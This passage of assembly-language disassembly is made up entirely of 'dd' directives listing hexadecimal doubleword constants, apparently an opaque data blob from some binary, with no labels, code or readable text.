		dd 0D6A8A2Eh, 3B709FF2h, 0BA546B00h, 82CA5B30h,	0C760049h
		dd 0DC2DDAD3h, 993CF3D1h, 30B2005Dh, 0C21A0283h, 0A316160Ah
		dd 31D50F05h, 4B2BC620h, 564985FCh, 5816014Ch, 0AA369222h
		dd 7F7A3FD0h, 0EAE80F04h, 0CA0350D7h, 0C79809B2h, 613E6F97h
		dd 46450080h, 5EED3ABFh, 0FC4A0656h, 509E8886h,	8F5B790Fh
		dd 8ED1A039h, 0D84C74h,	0EAEB0241h, 0DEA1CA2Ch,	0D35CBC07h
		dd 0C4A00C84h, 814B59h,	0E3ACEF5Dh, 3E954920h, 49893726h
		dd 3744718h, 108B00CFh,	69FA9D8Ah, 0FD008D05h, 118980Bh
		dd 0F086BDEAh, 2E34F29Ah, 0AE4A93h, 0B9E1B7EDh,	0D60074DAh
		dd 3A4C2787h, 600443h, 46A0F8F3h, 1DA9108h, 0F5757E01h
		dd 5CB6CC6Ch, 5F56C8h, 4D3DE54h, 8BB705C2h, 807D9138h
		dd 7060A9D7h, 7AE0E241h
		dd 938D0082h, 0BE5A89A2h, 0E03C168h, 246D33Dh, 0AA63F79Dh
		dd 1737C8DCh, 7CB84C95h, 0A0B0DA00h, 4A4E0407h,	0BC7BF200h
		dd 3FBF62EAh, 10284CA9h, 8D00184Ch, 706AC20Ch, 0C47D1F10h
		dd 0C92E2712h, 0E9975446h, 24590050h, 0A2CF2F1Dh, 60388D3h
		dd 46FAEE1Ah, 5C18D0DDh, 5201008Fh, 35A5BA37h, 1F002A29h
		dd 813411C3h, 76A26559h, 673B002Ch, 63753D17h, 52502E79h
		dd 0ED00469Ah, 283F88B2h, 1F5878CEh, 4061E8FBh,	35BEF618h
		dd 0F7D8136h, 0DAA4D050h, 3719861Eh, 0F5F14680h, 142FBC9Ah
		dd 0B9B32BA0h, 102850h,	0ACCBA2C9h, 0B00CCC49h,	4886DB24h
		dd 0FFC2E300h, 90C05152h, 0CA7D00AFh, 894B82E4h, 0A5001E9Dh
		dd 42FB30F9h, 7E6A3B1Ch, 2AC70149h, 7660FF7Ch, 73B440E6h
		dd 3B7B1E29h, 5D4F4C00h, 0F591FA02h, 686100E3h,	718C2250h
		dd 0E403AFF2h, 2C5CFCCCh, 0D0FC002Bh, 5A8DF8EBh, 50F6DF5h
		dd 0A0E5F09Eh, 0A1952ACDh, 3A357ABDh, 0C7034842h, 4087E06h
		dd 0C5DBFBA8h, 0D22EFF03h, 908ED059h, 1E286569h, 7A4181C6h
		dd 7DDEDC80h, 48A30E5Dh, 2F43A101h, 5C17556h, 24684FD8h
		dd 0EE00ABEh, 5BBF9A4Bh, 23803866h, 300B95Dh, 8CDDAA7h
		dd 0DD55EFh, 0D3FC3067h, 33E3F052h, 0A8647A00h,	0EDA74B1Bh
		dd 5C7F2CDDh, 247E003Ch, 0EB4A0673h, 839B51Dh, 0C49880BBh
		dd 30318C10h, 0D8870011h, 479D5191h, 427132E9h,	2D2148h
		dd 5DE1666Ch, 73532FACh, 178F00C9h, 3F0475D9h, 2F6F9C5h
		dd 9CDBC000h, 0B780F51Fh, 67CE00A0h, 83823F09h,	0EF0242A2h
		dd 3488C877h, 0AA8480D0h, 9BAADDBh, 0B860C34Fh,	0CBAB7681h
		dd 8E6EC57h, 2333D501h,	12CEAC7Ch, 0E4C0C0h, 9737CCA2h
		dd 6838F35Dh, 0F60016E2h, 3A0776DEh, 787883DCh,	7712009Dh
		dd 0F59A598Dh, 85001A4Dh, 7E0975B1h, 635805h, 0A2F3BAAAh
		dd 0CE8C862Bh, 5D699B00h, 395FD603h, 75F90022h,	0E964C2AFh
		dd 8700240Bh, 1AC60ACAh, 722513h, 0DB556FEEh, 0BAD343D9h
		dd 0B852DA00h, 4C5FBE6Bh, 0C4AD3D7Dh, 4164080h,	2CDE1CAh
		dd 0CBE4C703h, 0C82A71A2h, 9B51DCh, 0B06D49C8h,	0D8F5CA41h
		dd 643CC400h, 0B4C932Bh, 0E0EE073Bh, 30278E2Ah,	527FB1C3h
		dd 87CD8639h, 0C95BD399h, 5BDDA70h, 0F2B07062h,	0DCCF00A3h
		dd 1D04CDADh, 9B00257Bh, 9085FEA0h, 140E4A5Ah, 0D00A2C72h
		dd 391F1201h, 0F4862234h, 2512E58h, 2082DCC0h, 0EE013700h
		dd 59088860h, 0EFAD1F97h, 924801F9h, 0CC26B02Ah, 0AA01F732h
		dd 0DC0F09A4h, 1A303F10h, 0C4DD0060h, 0B138FBC9h, 0F1009513h
		dd 7226F559h, 808BD9h, 9A2592E4h, 915053FCh, 40A0500h
		dd 549489ECh, 0BACD001Fh, 9240DCD1h, 2C072228h,	9D7C3FEh
		dd 8DDAC90h, 1D810E19h,	9180F0F6h, 68891A76h, 0F200707Dh
		dd 33FFA4Ch, 0E15D3Ah, 0D2F4B09Dh, 9031C7EBh, 8052623Ch
		dd 0B21ED75Fh, 0ACB19E2h, 0A3183BD6h, 629430C4h, 7E009A27h
		dd 0FD7607E5h, 64ABC3h,	55B1FB91h, 4F95207Dh, 9A932A00h
		dd 0BFDFED94h, 1FDFAE2h, 6A9038F1h, 0ECD19E01h,	0DC00F05Eh
		dd 1002792Ah, 139DF7h, 0C7B60D4Dh, 81721150h, 3438FE03h
		dd 0C0BF3276h, 9C8FEAh,	0F2F07AE2h, 0C740F4D3h,	475B081Ch
		dd 0E3D50E80h, 5E61F3h,	0B0FF3B12h, 0F8159C38h,	46A6B21Eh
		dd 6F0ACB00h, 1EEDBBE4h, 0C075AB30h, 560997E8h,	6E00A0D7h
		dd 0D4815862h, 7B5A36h,	2F75395Dh, 3AD39E29h, 0B32E4803h
		dd 0DB17D237h, 0C630A078h, 1B27A9Dh, 82B549Bh, 0D8638844h
		dd 3573C91Bh, 7047800h,	0EDE2F269h, 1DC73F39h, 0A258DA80h
		dd 0E4246392h, 0CF3B0104h, 0B5802829h, 47EB0Ah,	0DE6AA133h
		dd 0F6E9C3B7h, 0C4DBFC00h, 0CEAF6FEDh, 0BBE01C09h, 1F222E7Bh
		dd 9511006Dh, 0CD56382Bh, 0C8F5B900h, 0DA4B4850h, 1BAF00A4h
		dd 0FC87FD93h, 8A007DF0h, 0B803BFC0h, 0EE95973h, 6ACAE4D5h
		dd 84D0D160h, 351D09B6h, 55490798h, 7AD9801Dh, 11A1CE5h
		dd 6CA95469h, 0E338B84Fh, 184A49E8h, 7275FF00h,	0FE2DD3F3h
		dd 483C0EEBh, 0D42F2B0Dh, 838789A4h, 4EF8E342h,	770419B9h
		dd 1E30AA9Dh, 65B481EEh, 0D7FDF49Ch, 13A0590Bh,	3750B5h
		dd 0D841ECF8h, 2C294D01h, 0D99AEA00h, 6E8C7B1Eh, 0F6F4039Eh
		dd 36FA65D7h, 83922000h, 0B6516D55h, 36F98ABh, 66994C19h
		dd 8DB0D9D2h, 7EFCD4B2h, 7A008CE0h, 489512Ch, 4EAAE9h
		dd 0B1C9344Bh, 4AAF2B76h, 0C7E4ED00h, 0D908C0F5h, 827C0093h
		dd 57965D01h, 0F20325DDh, 41359486h, 0E7D18B9Bh, 6C607977h
		dd 0A5AE22h, 5C2E08B9h,	1C670492h, 601AC100h, 0F6020E14h
		dd 760600A6h, 0BD396843h, 0F472CA24h, 0B1558C03h, 1C095741h
		dd 0BB7F7BA8h, 41DBA31Fh, 8C3C39AAh, 0EC5EF0D1h, 60A12B1Eh
		dd 0C599CBh, 8069719Fh,	5B03F5Bh, 0D2A4580h, 0DACC84E8h
		dd 0BA4C5Ch, 1288105Fh,	1E99AEC2h, 6D2C13h, 1FC3E320h
		dd 0BF3C63FEh, 0F79600A8h, 0CCCBA5B3h, 476B30DBh, 0F9125721h
		dd 1A7E8900h, 7DA4E381h, 0A09772D3h, 40C3EBB0h,	5B00CEA8h
		dd 4C03603Ah, 8C8930h, 0A51282F6h, 28A1185Fh, 0E6FD9A00h
		dd 0A4C251D5h, 1472009Ch, 0C1C88EB3h, 3900DC64h, 0DF0708E5h
		dd 925B42h, 3D198FEEh, 0E4FC2C51h, 348D0A00h, 0DD7AC764h
		dd 0AE6C0315h, 8C70E94Fh, 0DFE287E0h, 64AFE601h, 0D727A65Eh
		dd 0CCDED8CFh, 565113F7h, 9FFC0063h, 0E1ED2086h, 236DE400h
		dd 0A82F5730h, 987C078Dh, 0E07945B0h, 0C2D23AC1h, 0F077C003h
		dd 0F34F38E7h, 305DF8CFh, 84020088h, 0A11A190Eh, 5E7B67C6h
		dd 96E62200h, 0E85F2EB4h, 4BA31CC1h, 42CEC094h,	0FF73201Dh
		dd 0EE218107h, 0BB35A819h, 8DD99C04h, 20FE4C89h, 4310B358h
		dd 316FBE00h, 0CEB29502h, 247883h, 4CC6AC30h, 258B5C18h
		dd 32001179h, 0BB4433D4h, 93D08BAh, 0DA606839h,	0AFF56400h
		dd 549848DDh, 5FBF9200h, 6C653F6Ah, 1602EABDh, 0A876FF5Ch
		dd 117A0000h, 1630D989h, 0B6CD0024h, 0CC1DD2E6h, 0A800FC4Ah
		dd 0C10E0709h, 351F863h, 7F6C9745h, 0A588ACFDh,	0C80369B5h
		dd 8994277Bh, 6706A9ABh, 0DE2A30h, 5F07652Ah, 6DA9DBC8h
		dd 8D3CE403h, 0D05843EEh, 10B4587h, 54C0D684h, 202998FDh
		dd 0E607C924h, 426A1148h, 90F904E0h, 0CDF03ABh,	9949339Dh
		dd 440948B8h, 0ACA03477h, 0BA40CAFEh, 3F5B246Fh, 842D8E48h
		dd 0D48891E0h, 9D001B5Eh, 108C280h, 7A4E74D2h, 0D9E8F117h
		dd 0EB76002Ch, 0ECE5BD6Bh, 543EAF5Fh, 0C3B87h, 37F4C55Bh
		dd 2E7982h, 8D3D0BD7h, 7AC04440h, 0AFFF9900h, 0AD6F8629h
		dd 0FA2F0154h, 0F27D0691h, 0E30430DDh, 0B1346B00h, 368C3A9Dh
		dd 6A8E006Ch, 406F69A0h, 0A913A341h, 7BBDE7Eh, 0B74BA9h
		dd 17DD8E8Fh, 0BCD74Ch,	567953ECh, 7816D4C4h, 0FC9300A5h
		dd 0D9C3529Bh, 0D63E9D50h, 9FE1818Ch, 46B2D24Fh, 4CCA2C20h
		dd 0D51EB862h, 0EA0620D0h, 0C9ED1ED3h, 7EA60232h, 0E09E1256h
		dd 0FDE2B60h, 0B300667Fh, 0DA4F1FB6h, 0EECBF88Fh, 3B77002Dh
		dd 331E0D83h, 0EC00E42Ch, 43358DDEh, 579B76h, 6E8A6D2Bh
		dd 6A95F309h, 0A9FE37EEh, 0B6008DE0h, 929848CFh, 0BA53C6h
		dd 4EB7E382h, 2BE64F59h, 0D70A1117h, 0B240621Eh, 0D0BCC6B1h
		dd 0DA8700A8h, 56033E0Ch, 9414A3C3h, 0AEF85F0h,	0F8FC0413h
		dd 73E5DE00h, 743A89C5h, 0F63600BFh, 2FE98819h,	0C40067BEh
		dd 48771B3Bh, 0CD49613h
		dd 60994512h, 0FA4CA118h, 68940192h, 9D795163h,	0E4B61C30h
		dd 0EB8C0515h, 80A1D2E2h, 748F4F54h, 40B04CEEh,	731DB900h
		dd 0EF047F89h, 2B750024h, 96A79121h, 0EC00878Dh, 0E78B30BEh
		dd 0BCCE5Fh, 0E37775C8h, 0CA4CCC99h, 0A73AAC00h, 8D28BFBDh
		dd 0FEAE06D4h, 20F633A6h, 29A80B0Fh, 407760EAh,	0A08082h
		dd 0E4044D84h, 0A3167338h, 340D2B2Ch, 0E94BC601h, 67702D26h
		dd 29E40056h, 0AA525330h, 0D1485ED3h, 0DA0074E8h, 9AA284D5h
		dd 9842A1h, 977BAE45h, 0E44E6212h, 0F4351439h, 0E19DBD00h
		dd 2B6F1C90h, 10630771h, 0D0EF2F82h, 0CEBC7255h, 23E0471Dh
		dd 0E5240060h, 0BFBE4A96h, 0F004F107h, 2AA662ABh, 2823089Ch
		dd 21D8B0A4h, 0A03E6C3Ch, 0E97D00D8h, 0BDAA76E5h, 0B0016B4Ch
		dd 9F9E4174h, 2FD45AB6h, 65C300BBh, 0CF8AA032h,	943B7538h
		dd 98EA0783h, 188037F8h, 1F4F1C1h, 5B0C5AEEh, 407CC7CBh
		dd 45CD92E8h, 96CD058h,	87C319DBh, 5A608738h, 359A228h
		dd 0E95191C8h, 0F4DE76E4h, 1DB8314Ch, 66803274h, 91A69FBFh
		dd 3CFA04h, 6E2E58B2h, 56FDDE94h, 0BE0C7400h, 0AA43B945h
		dd 90920054h, 0CB83CF2Ch, 2E07EF9Eh, 9D2A06F7h,	0B0707D67h
		dd 61760Bh, 302D41B8h, 0F32C1D44h, 0A24DC700h, 59FEC14Ch
		dd 0C5CF00BDh, 79F4FD8Ch, 7890D55Bh, 74A8F00h, 0D9DFEE4Dh
		dd 603C00A6h, 0AA7FAD9Fh, 0CD3D56EAh, 792D8554h, 709127FAh
		dd 0D0ECBB7Eh, 0E9260041h, 596D90CCh, 90B8863h,	81A42C74h
		dd 0AF9D3A14h, 260FE420h, 4010EDFCh, 0F9DE86ADh, 63046100h
		dd 1D89F8E7h, 1250E87Ah, 137C793Dh, 39ED075Bh, 0BF3EF0D3h
		dd 0C51C78C9h, 0A29D104Fh, 4A2A9240h, 96B3B61h,	1DE98FABh
		dd 3C08F60Ah, 0ACA4702Ch, 0B11C68h, 76F7EC45h, 1C486AFBh
		dd 1B287410h, 940287F0h, 0E8FD328Bh, 8274C033h,	44AC01E2h
		dd 0A8215CF1h, 0C2BAFCDEh, 20846200h, 0A65FE950h, 925CC1B2h
		dd 3402FE5Dh, 0E705081Ch, 0E64DD051h, 22E914C0h, 85C6002Fh
		dd 4EB46726h, 44268743h, 7500DD96h, 0ACA6AF09h,	66FD26FEh
		dd 0EBB30120h, 11012412h, 2CAE10Bh, 8044343Ch, 1E95E50Bh
		dd 0ACAE17h, 0B02B3D75h, 20D3001Bh, 78FB8FD9h, 0F3006339h
		dd 0D6509E73h, 1A60D8h,	2AA04D5h, 0ECE2EF9Ch, 0A67C40C0h
		dd 3EBC49h, 0AF061283h,	3422DBFFh, 300DE216h, 46E97C00h
		dd 1EB129h, 2C28A971h, 0A35E8A9Ah, 0C74803Dh, 186C223Bh
		dd 0CA70001Ah, 0E5587F15h, 2B007B2Fh, 50978B5Ah, 7AE4C67h
		dd 37818553h, 0E484C0D4h, 7001289h, 357C0172h, 0B1DA1h
		dd 7E2BA232h, 0FD4B5270h, 0BC616C00h, 1089DD8Dh, 74AB14C3h
		dd 0FE00CB95h, 6DB78473h, 0AE5006ACh, 0C9002AC4h, 0CD2E044h
		dd 2F61233h, 1E4A3493h,	84C08EFAh, 5207D008h, 50E05AE8h
		dd 0BC261F2Eh, 20D2400Fh, 0DA2B0F9Dh, 0C7A42E3Fh, 0C04F9E24h
		dd 0D5D4C94Eh, 0F902855Ch, 0B50FB0ADh, 212AE01Eh, 415B008Dh
		dd 90642697h, 80982B8Ah, 0A9919D1Ch, 9E94FE4Eh,	0A0ACF580h
		dd 4172211h, 9004BE12h,	0CD2080B6h, 8700855Fh, 35074F1Eh
		dd 0A8A632h, 0B3DC9D08h, 9076F146h, 9B71FF00h, 5E85E4EAh
		dd 125002Dh, 6A08B718h,	0ED0346CBh, 135D8EBDh, 8897EC7Ch
		dd 0A419E870h, 75A10098h, 53A3A0E6h, 80EB59Eh, 2EFB89FEh
		dd 3BBEA071h, 597EB9h, 2CEE83B4h, 8B80E4E7h, 279FBFAh
		dd 0FCD53B12h, 7F1700FBh, 8CB5DC2Ch, 40985F7Bh,	0DB889800h
		dd 808516C2h, 0D4EE00F0h, 2C516023h, 57007302h,	69A75F9Dh
		dd 30404770h, 22A0AC0Fh, 9AA01C01h, 5A176BA9h, 50403499h
		dd 1A1987D7h, 0E8484AE7h, 0D8AF0045h, 8CDB9E29h, 49DF2634h
		dd 33B60007h, 0AA2B669Ah, 0A515AC0Ah, 105D868h,	54D06D8Ch
		dd 1C5B1C75h, 8EECF3h, 79F85083h, 2C0C440Ah, 6EF48AA7h
		dd 3F0B0072h, 0AEF284B7h, 5F00E21Eh, 5A8CCDBBh,	7ED004h
		dd 0F52E6F90h, 0B67578E7h, 0D2DD2300h, 0C803D1C5h, 5B4E01E5h
		dd 4162E98Eh, 84E093B1h, 5039483Ah, 0C64AE780h,	57D711FEh
		dd 10E6BC30h, 7B38D420h, 8F941623h, 6B480248h, 32007ECBh
		dd 0C6A13Eh, 0C3A0F12Ah, 18F5E486h, 6165D3Fh, 0DA08D6D0h
		dd 8CD81732h, 0AC5E03DBh, 4025B38Dh, 0A33C93EDh, 1BC9A879h
		dd 576E0025h, 0B3812E9h, 86000497h, 8882C618h, 1ECA6580h
		dd 4030EF4Ch, 0D7AC5B6Bh, 52586A32h, 0CD711F43h, 18FCF480h
		dd 0E7D448h, 1BE29CAAh,	55D11FFBh, 139D5802h, 60E3B820h
		dd 0F2031Ch, 1EAD5C95h,	0D5405539h, 416E8217h, 3F496000h
		dd 0E38EF3h, 3659146Ah,	0FA5FC21Bh, 0BE71923Dh,	0E7C80024h
		dd 0CEFD2D12h, 0B8F900E5h, 408EAD94h, 0A90085E6h, 0F7250D09h
		dd 223ED4Dh, 7E12630Ah,	0C04BCEE4h, 0E29107C0h,	0ED006A7Dh
		dd 0C437A12Bh, 110C94h,	1928BA70h, 0C6EC61C1h, 2B00409Ah
		dd 4541BF01h, 0FC66124Eh, 0F2540F11h, 4960884Dh, 2362F3C2h
		dd 0F77B3F00h, 4F5D296h, 2CBC7DCFh, 0AB3E75h, 0D55CDB5Ah
		dd 0AB02930Fh, 0D99C81C7h, 3980D52Ah, 456168EEh, 52072277h
		dd 0AA847F19h, 0D1494040h, 803500AEh, 37A636DDh, 2B005EFAh
		dd 5AB1C9F0h, 30521090h, 22A0450Eh, 30000C9Ch, 0BB2A2F17h
		dd 0C195F7h, 8CE331DCh,	2283CDC3h, 6CB33500h, 96085E1Dh
		dd 0F16A00C1h, 0A9C9D46Dh, 0C5056611h, 0C49A9B05h, 9ED112C0h
		dd 0C3B9C0D6h, 2F5D6690h, 80BD503Dh, 1FEBE385h,	0DC84EEh
		dd 0CFC259B2h, 286B6825h, 19470530h, 1CD3B0BFh,	0C0885F11h
		dd 0EB74D827h, 44002BB3h, 0C98C718h, 9FC96FD1h,	0C8000178h
		dd 0B8105986h, 765A04F6h, 0B0FE0024h, 0C9ECAD97h, 0EB1FCA17h
		dd 2BAF4E6h, 81AC08C7h,	0A99D4359h, 0E2606A12h,	79B50001h
		dd 3467605Fh, 0D213C419h, 89003D03h, 0E91284FFh, 552C036Ah
		dd 0FE4628BCh, 7754D0F7h, 0A50009BEh, 40BDFAD0h, 186DFB45h
		dd 6CCF81C0h, 3400C427h, 0BADCA4ABh, 994B698h, 0FD0D77D1h
		dd 0D699C600h, 330137A8h, 1714996h, 20E4C17Bh, 4F7EA3h
		dd 0AD3B0B70h, 6A938587h, 10C7748h, 0C4AA33C6h,	648F4AB9h
		dd 0CB841941h, 0A50087C9h, 0BB92C38Eh, 0AF897980h, 0E613701Ch
		dd 216BE180h, 332A3h, 4B45B0F4h, 3780A278h, 512F8E00h
		dd 85CA39D3h, 22D8E141h, 335C0079h, 0FC7819DEh,	5904C9D9h
		dd 0B3CEE914h, 0FF5B2B80h, 7CBA02FAh, 0C613C32Ah, 2400C07Ch
		dd 0A7803FECh, 0BF900F4Fh, 90745568h, 0AE6A6404h, 5D278095h
		dd 2F008B4Ah, 18C826CCh, 2FA19DFh, 900A3065h, 0E5C06CABh
		dd 7D00797Ah, 22545DC2h, 1EFB0F9Bh, 279ECB35h, 0FC7BA1E1h
		dd 68004132h, 97BC8889h, 0EF1CD4h, 38BBA3D6h, 401264D7h
		dd 8309F23Eh, 0B160347Eh, 19000BEh, 32F9BAFBh, 0E9006BAAh
		dd 5D9DE3ABh, 0D367AFh,	0C3265349h, 0E810479Ah,	87452901h
		dd 0C93E1331h, 0F005DCh, 69C717E0h, 0BC448B04h,	6B38930Fh
		dd 0D1D360E8h, 78796A83h, 96BD0754h, 0C08122FEh, 0DC287B2h
		dd 0E2355601h, 65DFC8CBh, 175CC20h, 1EE75010h, 4051FDAEh
		dd 0D8B77C8Fh, 0D5218705h, 88009978h, 1EED868Fh, 0A78E0372h
		dd 446FD3A9h, 2BC23AF8h, 0F8E50F0Eh, 60D5CFC5h,	35A906C7h
		dd 0A1D90EF7h, 0E0611A16h, 0F02ED3B7h, 792EF268h, 803B13A0h
		dd 6BB09FBBh, 7D1943CAh, 7CBDA0F5h, 648F0113h, 804615D8h
		dd 0F895ECEDh, 97700303h, 0F99622DCh, 7ED8AFA4h, 5A430058h
		dd 0C679DAF0h, 14005CC7h
		dd 0B6E0F1FBh, 0C04A715Fh, 9D78CE10h, 0DB006FB5h, 7D0F632Dh
		dd 73A2EFAh, 6A136D7Eh,	73F5B002h, 8800F886h, 8B6280EAh
		dd 46535Ah, 2A2251D5h, 58EB2604h, 0F13A2700h, 0AA4350Ch
		dd 0F9D800C0h, 0A0459C6Eh, 963B15F7h, 0EE30E6Ch, 57F44037h
		dd 1FE787h, 0A4DB6793h,	0F30FA7F1h, 0F901E8B8h,	8B3E3940h
		dd 8E70F462h, 453100DEh, 954E1C69h, 0E3149FD5h,	0D11125h
		dd 7712147Fh, 62F62Dh, 0DBC84C87h, 6C9F5838h, 376B5000h
		dd 9AFE511Bh, 0AE7501A9h, 71658DEDh, 0B8A0F407h, 8C1C4Ch
		dd 32AB76F5h, 76DAFD1h,	0D372D484h, 0BF8D0044h,	0D00047D9h
		dd 6310936Ah, 135162FBh, 3E2785h, 0A03DC2A2h, 0F10034F4h
		dd 209AEF05h, 12899C4Bh, 304EE269h, 6AAF4A28h, 2B70C60Eh
		dd 6B9A40D9h, 63D76EC0h, 26F2E0E2h, 448F5290h, 0CA3EF1F2h
		dd 6876120Fh, 5BF61C00h, 1CAA6DA5h, 0C8F236D8h,	0CC00B1AFh
		dd 45A6129Fh, 0B6711D54h, 7BF0C0C1h, 390D5659h,	0EB2AD00h
		dd 9C3CAEF6h, 18400034h, 29AFCEECh, 0A200DE1Ch,	0D8A90FA1h
		dd 0C4E16D0h, 6B91A4ADh, 7E1C9B56h, 6EC0719Dh, 0E3581022h
		dd 92200032h, 8D6FE865h, 3100D4FFh, 0B9790BE6h,	70A060h
		dd 0C729C485h, 0FA5C9404h, 0D7AEB400h, 3D4C5B0Dh, 0B896008Ch
		dd 14BC9C4Eh, 0A83CCB86h, 16D900E6h, 0B4FD54D3h, 79920022h
		dd 80678EBAh, 9E006820h, 43152DB9h, 741B4FBh, 0A008F1DBh
		dd 0DACF3098h, 0C100D1F5h, 0AE71CEBh, 130A9FFh,	0B758ACDBh
		dd 60FA1A80h, 0F800982Ah, 2BB09A4Fh, 0A05B1082h, 70E7990h
		dd 9999521h, 72F30F0h, 12013DF3h, 2472BF80h, 3E1419Ah
		dd 76C6FC4h, 0A4432B89h, 9C4830A3h, 4900BECAh, 0ADB4B585h
		dd 0AC1CEFh, 5E532D29h,	0BE4E902Fh, 0B0864800h,	3E33CA3Ah
		dd 16E058ADh, 9FBFC70Ah, 6D9903C0h, 5DF00785h, 0B000A994h
		dd 256CECD4h, 7BA8E1C2h, 0FCC40086h, 2E3ECBE4h,	8009E31h
		dd 49032BDAh, 0BA6DC7BAh, 60E0038h, 0F6C84F80h,	0AF00909Fh
		dd 66978D9Dh, 26FAC6EBh, 2484D5h, 0B6C10BDCh, 7500365Eh
		dd 0A9E2F8C0h, 2647B2DFh, 1408C267h, 0C40098D1h, 0CF1C6CC3h
		dd 99001955h, 87609640h, 0E725C6h, 4F0575F8h, 94BEE04Ah
		dd 0B4AB8600h, 0B72B1BBAh, 0DCA10066h, 0E5277E02h, 8500255Ch
		dd 7FC2F0CEh, 3D2E7A73h, 4C03D406h, 0D134138Fh,	5B0B1CA8h
		dd 0B4722B28h, 9E3C8DF6h, 53D980CDh, 8508812Eh,	1F380360h
		dd 0FA55A731h, 9E9DD780h, 52D1221Eh, 0A0C57680h, 9F37Bh
		dd 255433FBh, 0C72EDAF4h, 0A1126A1Fh, 0E9929BC0h, 3AE5AC1Fh
		dd 0FC807AA6h, 4D9B87Ch, 0EB005C4Bh, 0F19EECBBh, 0FEF9D0h
		dd 0EA0674ACh, 67851893h, 20810200h, 272CB494h,	0BFE4006Ah
		dd 362B0B1Bh, 0AA032A24h, 941440D3h, 0FEA405C2h, 800A984Ah
		dd 0C4F78569h, 82DB3707h, 56F1A942h, 0B4F91115h, 6EC9C8h
		dd 8D67994h, 429FC359h,	38007A79h, 27BB787Dh, 1EA6587h
		dd 0B3D5976Dh, 0F81E3B89h, 0A3006E6Ah, 7B61E1FFh, 4381EDh
		dd 0A7969724h, 0CC38F33Fh, 57641D0Fh, 83E129C4h, 0C292F2B3h
		dd 56E66075h, 78C600DFh, 33FCC30h, 130F83D4h, 0C089C284h
		dd 86A3802Fh, 61E80018h, 6D2E6C22h, 3900D74Ah, 924B6479h
		dd 7C295920h, 682ECC88h, 0F3004C71h, 0D801E2D3h, 4CF174B7h
		dd 0BA00C89Bh, 0FD70FEB2h, 13009587h, 0C162ACDCh, 9218C4h
		dd 11914EBCh, 0F804BFC8h, 900080F2h, 0A93D1263h, 0EE2365F5h
		dd 0A8EA007Bh, 336E93FCh, 0E3006C1Bh, 0B2E7968Dh, 984DCC0Dh
		dd 0F4B030Ah, 103A611Dh, 0E139ACA0h, 0D65C360Dh, 0D8F428D4h
		dd 130D2BDh, 70E0C167h,	8C088639h, 7D183A06h, 0CE10C23Fh
		dd 9118CD6Ah, 0C07E7Fh,	60B88A5Bh, 532E1CB6h, 0A9CC7D00h
		dd 93820205h, 88840276h, 593747A8h, 300F3C8Ah, 3C446BA9h
		dd 3F7F3A7Dh, 3B75B401h, 316FE009h, 60EA1857h, 805758h
		dd 48F89CBDh, 469FE256h, 0D7FFEE00h, 556893A4h,	0AB9B0081h
		dd 34B94BE4h, 300CDD6h,	0CC90AC04h, 7FA50D9Ah, 3BA71D0Ah
		dd 0FC707E7h, 133C10F5h, 6300C0C6h, 0D9321E71h,	0D4CB78h
		dd 652D5529h, 95D87BE7h, 4897BF00h, 0B5CC37BBh,	0AC2B038Fh
		dd 11FEDBE9h, 0CF0FB8E8h, 0DF0DD600h, 0ED4D249h, 0FF8A005Dh
		dd 1D509BC9h, 1A0492A5h, 0FD00738h, 0C74EFA80h,	80A60088h
		dd 14C9BF22h, 100F66Bh,	9E8EA30Ch, 5C500457h, 1168E731h
		dd 0DC3BD004h, 0F10CC60h, 28A59B15h, 0FAEF45h, 0B0E9F958h
		dd 3B9829A0h, 863E193Ch, 61AF0EF6h, 0BF3C2229h,	22BAD822h
		dd 75223925h, 3AA04268h, 8421C411h, 22930122h, 922BC04h
		dd 11ED42B9h, 4822996Fh, 9D95383Eh, 9C07A7Dh, 74529E39h
		dd 12D600E1h, 0B40CB09Fh, 6C009857h, 0C72217A8h, 0E3EEF5h
		dd 28FDD589h, 0EBC69750h, 0FB64EA00h, 0DA5C3494h, 0C78101D2h
		dd 1FBC5507h, 0B93CE413h, 0DBCEDC00h, 5CAF5D98h, 0DD8D1ED5h
		dd 0C03F0B0Bh, 0C1B5BF00h, 0B70026E8h, 637DFF3Ah, 3F1FBB97h
		dd 5304E209h, 8139E3FCh, 0C5409C21h, 1D0670FEh,	8C7E8500h
		dd 607066FAh, 0A9580036h, 46A1F041h, 8D39F1A2h,	0E7158040h
		dd 0F22D7048h, 3801EE10h, 35BDDA49h, 0E8B97895h, 64ECF300h
		dd 7A41B4Dh, 0C1A24400h, 8D270A0Ch, 6080F19Ch, 0BDAEF70Fh
		dd 6900B489h, 0BB6C3566h, 6D0222h, 0E2C5BE24h, 7312EE9Ah
		dd 0D1674600h, 65CE40EAh, 3C811DE0h, 4B4C7E72h,	11CC124h
		dd 39AF371Eh, 0A0F0C329h, 0BB07B384h, 4FA992FEh, 3FB96E50h
		dd 3D0F01BCh, 7BDAE81Eh, 28C0E830h, 5BD01100h, 0A340206Dh
		dd 9A1000F4h, 0BF374129h, 0A400F9DCh, 5BC09DC1h, 0C04E724Bh
		dd 9EF8B018h, 6B0077D1h, 211D8661h, 71A0D45h, 0B4901039h
		dd 1E0AF219h, 0E30B480h, 1D1C837Eh, 2001043Ah, 8E470C4h
		dd 0E2E392DCh, 0D90B006Ah, 66BFCA3Dh, 47074280h, 0C868A7BBh
		dd 15D49730h, 0A9DF2446h, 0C0801C98h, 8240555Eh, 0FF0792A0h
		dd 0C4C6AA5Ch, 6DFCF300h, 0C52F01D7h, 3632779Fh, 0FDC02A88h
		dd 23247Bh, 0A0F6D85Dh,	70823C86h, 33001CF2h, 459A1877h
		dd 7799B063h, 0BCDF0031h, 66CE3502h, 58012874h,	2C4E6CA1h
		dd 64C02AA2h, 0F30E07E6h, 701A60BFh, 0B4336D44h, 7797B61Ch
		dd 1686DFC0h, 12884268h, 0FE6469h, 5FD4B850h, 0D02F8F1h
		dd 46F4FBFh, 4DD5801Ah,	78B3766h, 97DCDB38h, 407980F7h
		dd 0D500576Fh, 0F3DEC621h, 2116710h, 61FD54DBh,	214014ABh
		dd 8B482D85h, 3F7C0040h, 1983DDDEh, 1C8F483Ch, 0ACD39300h
		dd 6332950Ah, 0BD151F00h, 49A4CB9h, 0DC4500EAh,	6CF48131h
		dd 3C002ED2h, 0B3DE2A5Fh, 74CA8C26h, 386D2898h,	471500FCh
		dd 0DE1007CEh, 0BBFAC44Ah, 0B517B300h, 0D5CAAFBCh, 8BE015h
		dd 0E80CA2F2h, 0B0ACC7D9h, 0BE3B40h, 18FDA928h,	683D7EB5h
		dd 0E48D4C02h, 80E95BE3h, 711F9888h, 0F474002Bh, 5A9B90B1h
		dd 0AD00C1A5h, 0EDE64EBAh, 168A3F8h, 0DF2AF513h, 30C207A1h
